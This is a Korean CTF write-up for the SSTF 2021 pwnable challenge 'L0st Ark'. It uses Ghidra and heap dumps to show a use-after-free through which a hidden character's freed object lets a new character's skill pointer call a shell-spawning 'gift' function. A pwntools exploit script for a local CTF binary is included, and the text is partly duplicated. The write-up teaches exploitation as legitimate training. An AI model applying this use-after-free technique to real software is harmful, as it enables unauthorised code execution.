2021년 SSTF CTF 문제이다.
우선 기드라로 보면 create()함수에서 1,2,3은 정상적으로 메뉴에서 출력하는 부분이지만 7을 입력했을때 Lupeon이라는 부분을 실행한다
이 Lupeon 부분을 보면 마지막쪽에 gift라는 부분을 인자로 전달함을 알 수 있다.
이 gift는 쉘을 실행ㅎ시키는 함수이다. 이 gift를 실행시키면 될거 같다.
우선 Lupeon 다음 부분에 bp를 걸고 보자.
0x555555570ea0: 0x0000000000000000 0x0000000000000061 0x555555570eb0: 0x000055555555db68 0x0000555555570ec8 0x555555570ec0: 0x0000000000000006 0x00006e6f6570754c # len("Lupeon") "Lupeon" 0x555555570ed0: 0x0000000000000000 0x0000555555570ee8 0x555555570ee0: 0x0000000000000007 0x006c616963657053 # len("special") "special" 0x555555570ef0: 0x0000000000000000 0x0000555555557afe # gift addr(7afe) 0x555555570f00: 0x0000000000000000 0x000000000000f101 0x555555570f10: 0x0000000000000000 0x0000000000000000 0x555555570f20: 0x0000000000000000 0x0000000000000000 0x555555570f30: 0x0000000000000000 0x0000000000000000
구조를 보면 다음과 같다.
그럼 Lupeon이 아닌 Reaper를 선택했을때의 메모리 구조를 보자
0x555555570ea0: 0x0000000000000000 0x0000000000000061 0x555555570eb0: 0x000055555555dbf8 0x0000555555570ec8 0x555555570ec0: 0x0000000000000008 0x4141414141414141 # name 0x555555570ed0: 0x0000000000000000 0x0000555555570ee8 0x555555570ee0: 0x0000000000000006 0x0000726570616552 # string 0x555555570ef0: 0x0000000000000000 0x0000000000000000 0x555555570f00: 0x0000000000000000 0x0000000000000021 0x555555570f10: 0x0000555555570eb0 0x0000000000000000 0x555555570f20: 0x0000000000000000 0x000000000000f0e1 0x555555570f30: 0x0000000000000000 0x0000000000000000
다음 메뉴에서 set skill을 한 후 상황이다.
0x555555570ea0: 0x0000000000000000 0x0000000000000061 0x555555570eb0: 0x000055555555dbf8 0x0000555555570ec8 0x555555570ec0: 0x0000000000000008 0x4141414141414141 0x555555570ed0: 0x0000000000000000 0x0000555555570ee8 0x555555570ee0: 0x0000000000000006 0x0000726570616552 0x555555570ef0: 0x0000000000000000 0x00005555555574f0 # skill addr 0x555555570f00: 0x0000000000000000 0x0000000000000021 0x555555570f10: 0x0000555555570eb0 0x0000000000000000 0x555555570f20: 0x0000000000000000 0x000000000000f0e1
그럼 저 skill addr 부분을 실행시키면 될것이다.
1. create에서 7을 입력하여 히든 캐릭터(Lupeon)을 생성
2. destory에서 히든 캐릭터를 파괴(해제) -> UAF 버그 발생
3. create에서 1을 입력하여 reaper 캐릭터 생성
4. 메뉴에서 4를 선택하여 reaper 캐릭터를 선택
5. 6을 입력하여 reaper의 스킬을 실행(실제로는 gift를 실행함)
from pwn import * p = process('./a.out') def create(index, name): p.sendlineafter(b'pick: ', b'1') p.sendlineafter(b'pick: ', str(index)) p.sendlineafter(b'name: ', name) def hidden(): p.sendlineafter(b'pick: ', b'1') p.sendlineafter(b'pick: ', b'7') def delete(index): p.sendlineafter(b'pick: ', b'2') p.sendlineafter(b'pick: ', str(index)) def choose(index): p.sendlineafter(b'pick: ', b'4') p.sendlineafter(b'pick: ', str(index)) def useskill(): p.sendlineafter(b'pick: ', b'6') hidden() delete(0) create(1, b"A") choose(0) useskill() p.interactive()
SSTF 2021 - L0st Ark
2021년 SSTF CTF 문제이다.
우선 기드라로 보면 create()함수에서 1,2,3은 정상적으로 메뉴에서 출력하는 부분이지만 7을 입력했을때 Lupeon이라는 부분을 실행한다
이 Lupeon 부분을 보면 마지막쪽에 gift라는 부분을 인자로 전달함을 알 수 있다.
이 gift는 쉘을 실행ㅎ시키는 함수이다. 이 gift를 실행시키면 될거 같다.
우선 Lupeon 다음 부분에 bp를 걸고 보자.
구조를 보면 다음과 같다.
그럼 Lupeon이 아닌 Reaper를 선택했을때의 메모리 구조를 보자
다음 메뉴에서 set skill을 한 후 상황이다.
그럼 저 skill addr 부분을 실행시키면 될것이다.
공격 벡터
1. create에서 7을 입력하여 히든 캐릭터(Lupeon)을 생성
2. destory에서 히든 캐릭터를 파괴(해제) -> UAF 버그 발생
3. create에서 1을 입력하여 reaper 캐릭터 생성
4. 메뉴에서 4를 선택하여 reaper 캐릭터를 선택
5. 6을 입력하여 reaper의 스킬을 실행(실제로는 gift를 실행함)
PAYLOAD
'Pwnable' 카테고리의 다른 글